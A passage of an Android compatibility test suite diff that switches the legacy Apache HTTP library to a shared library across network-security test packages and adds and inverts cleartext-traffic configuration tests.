*/
public void testRegisterNetworkCallback_withPendingIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
return;
}
@@ -458,7 +566,7 @@
* Tests reporting of connectivity changed.
*/
public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
return;
}
@@ -475,7 +583,7 @@
}
public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
return;
}
@@ -495,7 +603,7 @@
public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
throws InterruptedException {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
return;
}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 4c68423..b45bfe0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalseTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index 49385f8..d4ce39a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 584afd2..89195cd 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrueTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index be698f2..fe31e80 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 9a613e7..bad2cbc 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -23,9 +23,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
ctstestserver \
- org.apache.http.legacy \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 7bd8742..c6b65c0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 10018ce..4af2de7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
index 9356074..972052e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 161dbd3..95e14ef 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
index 565f23a..3e5fe25 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
similarity index 63%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
copy to tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
index 0739743..6dc6c5d 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2015 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -11,28 +11,26 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-
+#
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsNetSecConfigPrePCleartextTrafficTestCases
LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MODULE := CtsWindowManagerHostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed CtsServicesHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-amwm-util \
- platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.server.cts
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
+LOCAL_SDK_VERSION := 26
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
new file mode 100644
index 0000000..bec926e
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+ <application android:networkSecurityConfig="@xml/network_security_config">
+ <uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
+ </application>
+
+ <uses-permission android:name="android.permission.INTERNET" />
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases"
+ android:label="">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
new file mode 100644
index 0000000..8339a23
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS CtsNetSecConfigPrePCleartextTraffic test cases">
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsNetSecConfigPrePCleartextTrafficTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases" />
+ <option name="runtime-hint" value="8m10s" />
+ </test>
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
new file mode 100644
index 0000000..987b178
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <domain-config cleartextTrafficPermitted="false">
+ <domain includeSubdomains="true">android.com</domain>
+ <domain-config cleartextTrafficPermitted="true">
+ <domain>developer.android.com</domain>
+ </domain-config>
+ </domain-config>
+</network-security-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
new file mode 100644
index 0000000..b4b400c
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.net.config.cts;
+
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.X509TrustManager;
+import junit.framework.TestCase;
+
+public class CleartextPermittedTest extends TestCase {
+ public void testDefaultAllowed() throws Exception {
+ TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("example.com", 443);
+ }
+
+ public void testCleartextBlocked() throws Exception {
+ TestUtils.assertCleartextConnectionFails("android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("android.com", 443);
+ // subdomains of android.com are also disallowed.
+ TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
+ }
+
+ public void testNestedCleartextPermitted() throws Exception {
+ // developer.android.com is explicitly permitted.
+ TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+ TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
+ }
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 927374c..278d634 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
index b387ffa..8ee5482 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
index 987b178..6d41bba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
@@ -1,8 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
- <domain-config cleartextTrafficPermitted="false">
+ <domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">android.com</domain>
- <domain-config cleartextTrafficPermitted="true">
+ <domain-config cleartextTrafficPermitted="false">
<domain>developer.android.com</domain>
</domain-config>
</domain-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
index db8e40f..9592178 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -22,22 +22,22 @@
import junit.framework.TestCase;
public class CleartextPermittedTest extends TestCase {
- public void testDefaultAllowed() throws Exception {
- TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+ public void testDefaultDenied() throws Exception {
+ TestUtils.assertCleartextConnectionFails("example.com", 80);
TestUtils.assertTlsConnectionSucceeds("example.com", 443);
}
- public void testCleartextBlocked() throws Exception {
- TestUtils.assertCleartextConnectionFails("android.com", 80);
+ public void testCleartextAllowed() throws Exception {
+ TestUtils.assertCleartextConnectionSucceeds("android.com", 80);
TestUtils.assertTlsConnectionSucceeds("android.com", 443);
// subdomains of android.com are also disallowed.
- TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+ TestUtils.assertCleartextConnectionSucceeds("www.android.com", 80);
TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
}
- public void testNestedCleartextPermitted() throws Exception {
- // developer.android.com is explicitly permitted.
- TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+ public void testNestedCleartextDenied() throws Exception {
+ // developer.android.com is explicitly denied.
+ TestUtils.assertCleartextConnectionFails("developer.android.com", 80);
TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
}
}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index aa0eefd..fd5f419 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
index 3f15f81..28bba5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application android:debuggable="false"
android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index be9174e..d808928 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
index 6d98702..b667271 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application android:debuggable="true"
android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 84e72b0..54727c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -22,10 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
- org.apache.http.legacy \
android-support-test \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
index e18ff4d..cc67cca 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index 4764cab..3d66c53 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
index b3b32b5..bf6e369 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index 5448f34..e96ae6a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -20,7 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
index 1790150..75247d3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index 924f393..4e7efdeb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -22,10 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
- org.apache.http.legacy \
android-support-test \
legacy-android-test
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
index 46787160..4884458 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
@@ -20,6 +20,7 @@
package="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases">
<application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="org.apache.http.legacy" />
